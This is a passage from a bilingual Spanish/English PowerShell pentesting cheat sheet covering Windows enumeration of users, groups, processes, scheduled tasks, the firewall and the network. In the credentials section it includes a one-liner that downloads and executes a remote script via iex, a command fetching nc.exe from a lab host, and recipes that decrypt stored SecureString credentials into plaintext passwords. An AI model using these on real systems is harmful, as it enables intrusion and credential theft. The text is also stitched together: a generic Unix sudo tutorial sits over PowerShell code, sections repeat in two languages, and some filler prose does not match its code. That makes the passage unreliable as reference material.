all values $env:UserName @Get UserName value ``` ## Otras unidades conectadas When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One valuable piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data. In PowerShell, you can use the `Get-PSDrive` cmdlet to retrieve a list of all connected drives. This cmdlet provides information about both local and remote drives, including drive letters, drive types, and the root directory of each drive. To retrieve the list of connected drives, open a PowerShell session and run the following command: ```powershell Get-PSDrive ``` This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. The drive type can be one of the following: - **FileSystem**: This indicates a local disk drive. - **Registry**: This indicates a registry hive. - **Alias**: This indicates a PowerShell alias. - **Variable**: This indicates a PowerShell variable. - **Function**: This indicates a PowerShell function. - **Certificate**: This indicates a certificate store. - **Environment**: This indicates an environment variable. By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation. For example, a network share may contain sensitive files or configurations that could be leveraged during the penetration test. Remember to always obtain proper authorization before conducting any penetration testing activities. Unauthorized access to systems or data is illegal and unethical. ```powershell Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Papelera de reciclaje La Papelera de reciclaje es una característica de Windows que permite a los usuarios recuperar archivos y carpetas eliminados. Cuando se elimina un archivo o carpeta, en lugar de ser eliminado permanentemente, se mueve a la Papelera de reciclaje. Desde allí, los usuarios pueden restaurar los archivos o vaciar la Papelera de reciclaje para eliminarlos de forma permanente. La Papelera de reciclaje se encuentra en el escritorio de Windows y se representa con un ícono de una papelera. Al hacer clic derecho en la Papelera de reciclaje, los usuarios pueden acceder a opciones adicionales, como restaurar archivos o cambiar la configuración de la Papelera de reciclaje. Es importante tener en cuenta que la Papelera de reciclaje tiene un límite de capacidad y, una vez alcanzado, los archivos más antiguos se eliminarán automáticamente para dar espacio a los nuevos archivos eliminados. Por lo tanto, es recomendable vaciar periódicamente la Papelera de reciclaje para liberar espacio en el disco duro. ```powershell $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` [https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) ## Reconocimiento de Dominio {% content-ref url="powerview.md" %} [powerview.md](powerview.md) {% endcontent-ref %} ## Usuarios ```powershell Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Cadena segura a texto sin formato Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar scripts de PowerShell para identificar posibles vulnerabilidades. Una técnica común utilizada por los pentesters es buscar cadenas seguras en los scripts de PowerShell y convertirlas a texto sin formato para su análisis. A continuación se muestra un ejemplo de cómo convertir una cadena segura a texto sin formato utilizando PowerShell: ```powershell $secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force $plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) ``` En este ejemplo, se crea una variable `$secureString` que contiene la cadena segura "MySecurePassword". Luego, se utiliza el método `ConvertTo-SecureString` para convertir la cadena segura a un objeto de cadena segura en PowerShell. A continuación, se utiliza el método `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR` para convertir el objeto de cadena segura en un puntero a una cadena BSTR. Finalmente, se utiliza el método `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto` para convertir el puntero a una cadena de texto sin formato. Al ejecutar este script, la variable `$plainText` contendrá la cadena de texto sin formato "MySecurePassword". Esto permite a los pentesters analizar y evaluar la seguridad de la contraseña almacenada en la cadena segura. Es importante tener en cuenta que este proceso solo funciona si el script de PowerShell se ejecuta en el mismo contexto de seguridad en el que se creó la cadena segura. Si el script se ejecuta en un contexto de seguridad diferente, la conversión de cadena segura a texto sin formato no será posible. ```powershell $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` O bien, analizando directamente desde XML: ```powershell $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO El comando `sudo` es una herramienta comúnmente utilizada en sistemas operativos basados en Unix para permitir a los usuarios ejecutar comandos con privilegios de superusuario. Esto es útil cuando se necesita realizar tareas administrativas que requieren permisos elevados. ### Uso básico El formato básico para usar `sudo` es el siguiente: ``` sudo comando ``` Por ejemplo, si queremos reiniciar el sistema, podemos usar el siguiente comando: ``` sudo reboot ``` ### Autenticación Cuando se ejecuta un comando con `sudo`, se solicitará al usuario que proporcione su contraseña. Esto es para asegurarse de que el usuario tiene los permisos adecuados para ejecutar el comando con privilegios de superusuario. ### Ejecución de comandos como otro usuario Además de ejecutar comandos como superusuario, `sudo` también permite ejecutar comandos como otro usuario. Para hacer esto, se utiliza la opción `-u` seguida del nombre de usuario. Por ejemplo, si queremos ejecutar el comando `ls` como el usuario `johndoe`, podemos usar el siguiente comando: ``` sudo -u johndoe ls ``` ### Configuración de `sudo` La configuración de `sudo` se encuentra en el archivo `/etc/sudoers`. Este archivo define qué usuarios tienen permiso para ejecutar comandos con `sudo` y qué comandos pueden ejecutar. Es importante tener cuidado al modificar este archivo, ya que cualquier error puede resultar en la denegación de acceso a los comandos de superusuario. ### Conclusiones El comando `sudo` es una herramienta poderosa que permite a los usuarios ejecutar comandos con privilegios de superusuario. Sin embargo, es importante utilizarlo con precaución y solo cuando sea necesario, para evitar posibles problemas de seguridad. ```powershell #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) #For local: Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')" #For WINRM #CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user) Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred #DOWNLOAD nc.exe Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}' #Another method $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` ## Grupos --- ### Introduction ### Introducción In Windows, groups are used to organize and manage user accounts. Groups allow you to assign permissions and access rights to multiple users at once, making it easier to manage security and access control. En Windows, los grupos se utilizan para organizar y gestionar las cuentas de usuario. Los grupos permiten asignar permisos y derechos de acceso a varios usuarios a la vez, lo que facilita la gestión de la seguridad y el control de acceso. ### Types of Groups ### Tipos de Grupos There are two types of groups in Windows: Existen dos tipos de grupos en Windows: 1. **Local Groups**: These groups are created on a local machine and can only be used to grant permissions and access rights on that specific machine. 1. **Grupos locales**: Estos grupos se crean en una máquina local y solo se pueden utilizar para otorgar permisos y derechos de acceso en esa máquina específica. 2. **Domain Groups**: These groups are created in a Windows domain and can be used to grant permissions and access rights across multiple machines within the domain. 2. **Grupos de dominio**: Estos grupos se crean en un dominio de Windows y se pueden utilizar para otorgar permisos y derechos de acceso en varias máquinas dentro del dominio. ### Group Membership ### Pertenencia a Grupos Users can be members of one or more groups. Group membership allows users to inherit the permissions and access rights assigned to the group. Los usuarios pueden ser miembros de uno o más grupos. La pertenencia a un grupo permite a los usuarios heredar los permisos y derechos de acceso asignados al grupo. ### Default Groups ### Grupos Predeterminados Windows has several default groups that are created automatically during the installation process. These groups have predefined permissions and access rights. Windows tiene varios grupos predeterminados que se crean automáticamente durante el proceso de instalación. Estos grupos tienen permisos y derechos de acceso predefinidos. Some of the commonly used default groups include: Algunos de los grupos predeterminados comúnmente utilizados incluyen: - **Administrators**: Members of this group have full control over the system and can perform any administrative tasks. - **Administradores**: Los miembros de este grupo tienen control total sobre el sistema y pueden realizar cualquier tarea administrativa. - **Users**: Members of this group have standard user privileges and can perform common tasks. - **Usuarios**: Los miembros de este grupo tienen privilegios de usuario estándar y pueden realizar tareas comunes. - **Guests**: Members of this group have limited privileges and are typically used for guest or temporary accounts. - **Invitados**: Los miembros de este grupo tienen privilegios limitados y se utilizan típicamente para cuentas de invitados o temporales. ### Creating and Managing Groups ### Creación y Gestión de Grupos To create and manage groups in Windows, you can use the PowerShell command-line interface. PowerShell provides a set of cmdlets specifically designed for managing groups. Para crear y gestionar grupos en Windows, puedes utilizar la interfaz de línea de comandos de PowerShell. PowerShell proporciona un conjunto de cmdlets específicamente diseñados para gestionar grupos. Here are some common PowerShell cmdlets for managing groups: Aquí tienes algunos cmdlets comunes de PowerShell para gestionar grupos: - `New-LocalGroup`: Creates a new local group. - `New-LocalGroup`: Crea un nuevo grupo local. - `Add-LocalGroupMember`: Adds a user or group to a local group. - `Add-LocalGroupMember`: Agrega un usuario o grupo a un grupo local. - `Get-LocalGroup`: Retrieves information about local groups. - `Get-LocalGroup`: Obtiene información sobre los grupos locales. - `Remove-LocalGroup`: Deletes a local group. - `Remove-LocalGroup`: Elimina un grupo local. - `New-ADGroup`: Creates a new domain group. - `New-ADGroup`: Crea un nuevo grupo de dominio. - `Add-ADGroupMember`: Adds a user or group to a domain group. - `Add-ADGroupMember`: Agrega un usuario o grupo a un grupo de dominio. - `Get-ADGroup`: Retrieves information about domain groups. - `Get-ADGroup`: Obtiene información sobre los grupos de dominio. - `Remove-ADGroup`: Deletes a domain group. - `Remove-ADGroup`: Elimina un grupo de dominio. These cmdlets can be used to perform various group management tasks, such as creating new groups, adding or removing members, and retrieving information about existing groups. Estos cmdlets se pueden utilizar para realizar diversas tareas de gestión de grupos, como crear nuevos grupos, agregar o eliminar miembros y obtener información sobre los grupos existentes. ```powershell Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Portapapeles El portapapeles es una función en el sistema operativo que permite copiar y pegar texto, imágenes y otros datos entre diferentes aplicaciones. En PowerShell, puedes acceder al contenido del portapapeles utilizando el cmdlet `Get-Clipboard` y puedes establecer el contenido del portapapeles utilizando el cmdlet `Set-Clipboard`. ### Obtener el contenido del portapapeles Para obtener el contenido del portapapeles en PowerShell, puedes usar el cmdlet `Get-Clipboard`. Aquí tienes un ejemplo: ```powershell $clipboardContent = Get-Clipboard ``` ### Establecer el contenido del portapapeles Para establecer el contenido del portapapeles en PowerShell, puedes usar el cmdlet `Set-Clipboard`. Aquí tienes un ejemplo: ```powershell Set-Clipboard -Value "Texto para copiar al portapapeles" ``` ### Usos maliciosos del portapapeles El portapapeles puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Por ejemplo, un atacante puede utilizar técnicas de phishing para engañar a los usuarios y copiar información confidencial en el portapapeles sin su conocimiento. También es posible que un atacante utilice malware para monitorear el contenido del portapapeles y robar información sensible, como contraseñas o números de tarjetas de crédito. Para protegerse contra estos ataques, es importante tener cuidado al copiar y pegar información sensible y asegurarse de que las aplicaciones y sistemas utilizados sean seguros y confiables. Además, es recomendable utilizar herramientas de seguridad, como antivirus y firewalls, para detectar y prevenir posibles ataques. ### Conclusiones El portapapeles es una función útil en el sistema operativo que permite copiar y pegar datos entre aplicaciones. Sin embargo, también puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Es importante tomar precauciones al utilizar el portapapeles y asegurarse de proteger la información confidencial. ```powershell Get-Clipboard ``` ## Procesos ### Introduction ### Introducción Processes are the running instances of programs on a computer system. Understanding how processes work and how to interact with them is essential for a pentester. In this section, we will explore basic PowerShell commands for managing and interacting with processes. Los procesos son las instancias en ejecución de programas en un sistema informático. Comprender cómo funcionan los procesos y cómo interactuar con ellos es esencial para un pentester. En esta sección, exploraremos comandos básicos de PowerShell para administrar e interactuar con procesos. ### Listing Processes ### Listado de procesos To list all the processes running on a system, you can use the `Get-Process` command. This command will display information such as the process ID (PID), name, and CPU usage for each process. Para listar todos los procesos en ejecución en un sistema, puedes utilizar el comando `Get-Process`. Este comando mostrará información como el ID del proceso (PID), el nombre y el uso de la CPU para cada proceso. ```powershell Get-Process ``` ### Killing a Process ### Finalizar un proceso To terminate a process, you can use the `Stop-Process` command followed by the process ID (PID) or the process name. This command will forcefully terminate the specified process. Para finalizar un proceso, puedes utilizar el comando `Stop-Process` seguido del ID del proceso (PID) o del nombre del proceso. Este comando finalizará de forma forzada el proceso especificado. ```powershell Stop-Process -ID ``` ```powershell Stop-Process -Name ``` ### Starting a Process ### Iniciar un proceso To start a new process, you can use the `Start-Process` command followed by the path to the executable file. This command will launch the specified program. Para iniciar un nuevo proceso, puedes utilizar el comando `Start-Process` seguido de la ruta al archivo ejecutable. Este comando iniciará el programa especificado. ```powershell Start-Process -FilePath ``` ### Conclusion ### Conclusión Understanding how to manage and interact with processes using PowerShell is crucial for a pentester. By mastering these basic commands, you will be able to effectively monitor and control processes on a target system. Comprender cómo administrar e interactuar con procesos utilizando PowerShell es crucial para un pentester. Al dominar estos comandos básicos, podrás monitorear y controlar eficazmente los procesos en un sistema objetivo. ```powershell Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Servicios ``` Get-Service ``` ## Contraseña desde una cadena segura When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory. To retrieve the password from a secure string, you can use PowerShell. Here's a simple script that demonstrates how to do this: ```powershell $secureString = ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force $plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) Write-Output $plainText ``` In this script, we first create a secure string using the `ConvertTo-SecureString` cmdlet. We pass the password as a plain text string and use the `-AsPlainText` and `-Force` parameters to ensure that the secure string is created. Next, we use the `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR` method to convert the secure string to a BSTR (Basic String) representation. We then use the `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto` method to convert the BSTR to a plain text string. Finally, we output the plain text password using the `Write-Output` cmdlet. Keep in mind that this method should only be used for legitimate purposes, such as during a penetration test where you have proper authorization to access the system. Using this technique for malicious purposes is illegal and unethical. ```powershell $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Tareas programadas Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence and executing malicious actions on a target system. Las tareas programadas son una característica poderosa en Windows que te permite automatizar la ejecución de scripts o programas en momentos o intervalos específicos. Como pentester, entender cómo manipular y explotar las tareas programadas puede ser valioso para obtener persistencia y ejecutar acciones maliciosas en un sistema objetivo. ### Viewing Scheduled Tasks ### Ver tareas programadas To view the list of scheduled tasks on a Windows system, you can use the `Get-ScheduledTask` cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system. Para ver la lista de tareas programadas en un sistema Windows, puedes utilizar el cmdlet `Get-ScheduledTask` en PowerShell. Este cmdlet recupera información sobre todas las tareas programadas en el sistema local o en un sistema remoto. ```powershell Get-ScheduledTask ``` ### Creating Scheduled Tasks ### Crear tareas programadas To create a new scheduled task, you can use the `New-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run. Para crear una nueva tarea programada, puedes utilizar el cmdlet `New-ScheduledTask` en PowerShell. Este cmdlet te permite especificar el script o programa que se ejecutará, el desencadenador que define cuándo debe ejecutarse la tarea y otras configuraciones como la cuenta de usuario bajo la cual debe ejecutarse la tarea. ```powershell New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password" ``` ### Modifying Scheduled Tasks ### Modificar tareas programadas To modify an existing scheduled task, you can use the `Set-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account. Para modificar una tarea programada existente, puedes utilizar el cmdlet `Set-ScheduledTask` en PowerShell. Este cmdlet te permite cambiar varias propiedades de la tarea, como el script o programa que se ejecutará, el desencadenador y la cuenta de usuario. ```powershell Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password" ``` ### Deleting Scheduled Tasks ### Eliminar tareas programadas To delete a scheduled task, you can use the `Unregister-ScheduledTask` cmdlet in PowerShell. This cmdlet removes the specified task from the system. Para eliminar una tarea programada, puedes utilizar el cmdlet `Unregister-ScheduledTask` en PowerShell. Este cmdlet elimina la tarea especificada del sistema. ```powershell Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" ``` ### Disabling Scheduled Tasks ### Deshabilitar tareas programadas To disable a scheduled task, you can use the `Disable-ScheduledTask` cmdlet in PowerShell. This cmdlet prevents the task from running according to its trigger. Para deshabilitar una tarea programada, puedes utilizar el cmdlet `Disable-ScheduledTask` en PowerShell. Este cmdlet evita que la tarea se ejecute según su desencadenador. ```powershell Disable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" ``` ### Enabling Scheduled Tasks ### Habilitar tareas programadas To enable a disabled scheduled task, you can use the `Enable-ScheduledTask` cmdlet in PowerShell. This cmdlet allows the task to run according to its trigger. Para habilitar una tarea programada deshabilitada, puedes utilizar el cmdlet `Enable-ScheduledTask` en PowerShell. Este cmdlet permite que la tarea se ejecute según su desencadenador. ```powershell Enable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" ``` ```powershell Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ### Interfaces Las interfaces son los puntos de conexión entre un dispositivo y una red. En Windows, se pueden utilizar comandos de PowerShell para administrar y configurar las interfaces de red. #### Obtener información de las interfaces Para obtener información sobre las interfaces de red en Windows, puedes utilizar el siguiente comando de PowerShell: ```powershell Get-NetAdapter ``` Este comando mostrará una lista de todas las interfaces de red en el sistema, incluyendo su nombre, descripción, estado y dirección MAC. #### Habilitar o deshabilitar una interfaz Puedes habilitar o deshabilitar una interfaz de red utilizando los siguientes comandos de PowerShell: ```powershell Enable-NetAdapter -Name "Nombre de la interfaz" Disable-NetAdapter -Name "Nombre de la interfaz" ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz que deseas habilitar o deshabilitar. #### Cambiar la dirección MAC de una interfaz Puedes cambiar la dirección MAC de una interfaz de red utilizando el siguiente comando de PowerShell: ```powershell Set-NetAdapter -Name "Nombre de la interfaz" -MacAddress "Nueva dirección MAC" ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la dirección MAC, y "Nueva dirección MAC" con la dirección MAC que deseas asignar. #### Configurar una dirección IP estática Puedes configurar una dirección IP estática en una interfaz de red utilizando el siguiente comando de PowerShell: ```powershell New-NetIPAddress -InterfaceAlias "Nombre de la interfaz" -IPAddress "Dirección IP" -PrefixLength "Longitud del prefijo" ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP, "Dirección IP" con la dirección IP que deseas asignar y "Longitud del prefijo" con la longitud del prefijo de la máscara de subred. #### Configurar una dirección IP dinámica (DHCP) Puedes configurar una dirección IP dinámica (DHCP) en una interfaz de red utilizando el siguiente comando de PowerShell: ```powershell Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -Dhcp Enabled ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP dinámica. #### Cambiar la métrica de una interfaz Puedes cambiar la métrica de una interfaz de red utilizando el siguiente comando de PowerShell: ```powershell Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -InterfaceMetric "Nueva métrica" ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la métrica, y "Nueva métrica" con el valor de la nueva métrica que deseas asignar. #### Configurar DNS en una interfaz Puedes configurar los servidores DNS en una interfaz de red utilizando el siguiente comando de PowerShell: ```powershell Set-DnsClientServerAddress -InterfaceAlias "Nombre de la interfaz" -ServerAddresses "Direcciones de servidor DNS separadas por comas" ``` Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar los servidores DNS, y "Direcciones de servidor DNS separadas por comas" con las direcciones IP de los servidores DNS que deseas asignar, separadas por comas. Estos son solo algunos ejemplos de cómo utilizar PowerShell para administrar y configurar las interfaces de red en Windows. PowerShell ofrece muchas más opciones y comandos para trabajar con las interfaces de red, por lo que te recomiendo explorar la documentación oficial de PowerShell para obtener más información. ```powershell Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Firewall Un firewall es una medida de seguridad crucial para proteger una red de posibles amenazas externas. Actúa como una barrera entre la red interna y el mundo exterior, controlando el tráfico de red y permitiendo o bloqueando ciertas conexiones según las reglas establecidas. En Windows, el firewall se puede configurar utilizando PowerShell. PowerShell es una herramienta de línea de comandos y scripting que permite a los administradores de sistemas automatizar tareas y realizar configuraciones avanzadas. A continuación se presentan algunos comandos básicos de PowerShell que pueden ser útiles para los pentesters al trabajar con el firewall de Windows: #### Verificar el estado del firewall ```powershell Get-NetFirewallProfile ``` Este comando muestra el estado actual del firewall para los perfiles de red disponibles, como el perfil de dominio, el perfil privado y el perfil público. #### Habilitar o deshabilitar el firewall ```powershell Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True ``` Este comando habilita el firewall para los perfiles de red especificados (dominio, público y privado). Para deshabilitar el firewall, cambie el valor "True" a "False". #### Agregar una regla de firewall ```powershell New-NetFirewallRule -DisplayName "Allow HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow ``` Este comando crea una nueva regla de firewall que permite el tráfico HTTP entrante en el puerto local 80. Puede personalizar los parámetros según sus necesidades, como el nombre de la regla, la dirección (entrada o salida), el protocolo y el puerto. #### Eliminar una regla de firewall ```powershell Remove-NetFirewallRule -DisplayName "Allow HTTP" ``` Este comando elimina una regla de firewall existente según el nombre de la regla especificado. Estos son solo algunos ejemplos básicos de cómo utilizar PowerShell para trabajar con el firewall de Windows. PowerShell ofrece muchas más funcionalidades y opciones de configuración avanzadas que pueden ser exploradas para fortalecer la seguridad de una red. ```powershell Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow # Open SSH to the world New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow # Get name, proto, local and rremote ports, remote address, penable,profile and direction ## You can user the following line changing the initial filters to indicat a difefrent direction or action Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Ruta ```powershell route print ``` ### ARP El Protocolo de Resolución de Direcciones (ARP, por sus siglas en inglés) es un protocolo de red utilizado para asociar direcciones IP con direcciones MAC en una red local. ARP se utiliza para descubrir la dirección MAC de un dispositivo en la misma red local, dado su dirección IP. El funcionamiento básico de ARP implica que un dispositivo envíe una solicitud ARP (ARP request) a la red local, preguntando por la dirección MAC asociada a una dirección IP específica. El dispositivo con la dirección IP solicitada responderá con un mensaje ARP (ARP reply) que contiene su dirección MAC. ARP es ampliamente utilizado en redes Ethernet y es esencial para el funcionamiento de la comunicación en una red local. Sin embargo, también puede ser utilizado en ataques de suplantación de identidad (spoofing) y envenenamiento de ARP (ARP poisoning) para interceptar y manipular el tráfico de red. ```powershell Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts Los archivos de hosts son utilizados por el sistema operativo para mapear nombres de dominio a direcciones IP. Esto se hace para evitar la necesidad de consultar un servidor DNS cada vez que se accede a un sitio web. En Windows, el archivo de hosts se encuentra en la siguiente ubicación: ``` C:\Windows\System32\drivers\etc\hosts ``` Puedes editar este archivo para redirigir nombres de dominio a direcciones IP diferentes. Esto puede ser útil en situaciones de prueba de penetración, donde deseas redirigir un nombre de dominio a tu propia máquina para realizar pruebas. Sin embargo, ten en cuenta que modificar el archivo de hosts puede tener consecuencias no deseadas y afectar el funcionamiento normal del sistema. Asegúrate de hacer una copia de seguridad del archivo original antes de realizar cualquier modificación. ### PowerShell PowerShell es una herramienta de línea de comandos y scripting desarrollada por Microsoft. Es especialmente útil para los profesionales de la seguridad informática, ya que proporciona una amplia gama de funcionalidades para la automatización de tareas y la administración de sistemas. PowerShell utiliza un lenguaje de scripting basado en .NET Framework, lo que le permite interactuar con una amplia variedad de servicios y componentes del sistema operativo. También es compatible con la ejecución de comandos remotos en sistemas Windows, lo que lo convierte en una herramienta valiosa para los pentesters. En este directorio, encontrarás algunos scripts básicos de PowerShell que pueden ser útiles para los pentesters. Estos scripts abarcan desde la enumeración de información del sistema hasta la ejecución de comandos remotos en máquinas Windows. Recuerda que el uso de PowerShell para fines maliciosos o sin el consentimiento del propietario del sistema es ilegal y éticamente incorrecto. Asegúrate de utilizar estas herramientas solo con fines legítimos y dentro de los límites de la ley. ```powershell Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping El comando `ping` se utiliza para verificar la conectividad entre dos dispositivos en una red. Envía un paquete de datos a la dirección IP de destino y espera una respuesta. Esto permite determinar si el dispositivo de destino está accesible y cuánto tiempo tarda en responder. #### Uso básico ``` ping ``` Por ejemplo: ``` ping 192.168.0.1 ``` o ``` ping www.ejemplo.com ``` #### Resultados Cuando se ejecuta el comando `ping`, se mostrará una serie de resultados. Los más comunes son: - **Tiempo de respuesta**: muestra cuánto tiempo tarda en llegar y regresar el paquete de datos. Se mide en milisegundos (ms). - **Paquetes enviados**: muestra el número total de paquetes enviados. - **Paquetes recibidos**: muestra el número total de paquetes recibidos. - **Porcentaje de pérdida de paquetes**: muestra el porcentaje de paquetes perdidos durante la transmisión. #### Interpretación de los resultados - Si el dispositivo de destino está accesible, se mostrará el tiempo de respuesta y el porcentaje de pérdida de paquetes será bajo. - Si el dispositivo de destino no está accesible, se mostrará un mensaje de error y el porcentaje de pérdida de paquetes será alto. #### Uso avanzado El comando `ping` también admite opciones adicionales para personalizar la prueba de conectividad. Algunas opciones comunes incluyen: - `-t`: envía paquetes de forma continua hasta que se detenga manualmente. - `-n `: especifica el número de paquetes a enviar. - `-l `: especifica el tamaño del paquete en bytes. Por ejemplo: ``` ping -t 192.168.0.1 ``` o ``` ping -n 10 www.ejemplo.com ``` Estas opciones pueden ser útiles para realizar pruebas más exhaustivas de conectividad de red. ```powershell $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información sobre el estado y el rendimiento de los dispositivos, así como realizar acciones de administración, como reiniciar un dispositivo o cambiar su configuración. SNMP utiliza un modelo cliente-servidor, donde los dispositivos administrados actúan como servidores SNMP y los sistemas de administración actúan como clientes SNMP. Los dispositivos administrados exponen información en forma de objetos gestionados, que pueden ser consultados y modificados por los clientes SNMP. Los comandos SNMP se envían a través de mensajes SNMP, que se transmiten a través de la red utilizando el Protocolo de Datagramas de Usuario (UDP). Estos mensajes contienen una serie de variables de gestión que especifican la operación a realizar y los datos asociados. SNMP utiliza una estructura jerárquica de objetos gestionados, organizados en una base de información de administración (MIB, por sus siglas en inglés). La MIB define los objetos gestionados y sus atributos, proporcionando una estructura estándar para la administración de dispositivos de red. Los pentesters pueden utilizar SNMP para obtener información valiosa sobre los dispositivos en una red, como direcciones IP, nombres de host, versiones de software y configuraciones. También pueden utilizar SNMP para realizar acciones de administración, como reiniciar dispositivos o cambiar su configuración. Sin embargo, es importante tener en cuenta que SNMP puede presentar riesgos de seguridad si no se configura correctamente. Los dispositivos SNMP mal configurados pueden ser vulnerables a ataques de enumeración, denegación de servicio y manipulación de datos. Por lo tanto, es fundamental asegurarse de que los dispositivos SNMP estén configurados de manera segura y de acuerdo con las mejores prácticas de seguridad. ```powershell Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Convirtiendo la cadena SDDL en un formato legible** Cuando se realiza una evaluación de seguridad en un entorno de Windows, es común encontrar permisos y configuraciones de seguridad definidos en forma de cadenas SDDL (Security Descriptor Definition Language). Estas cadenas 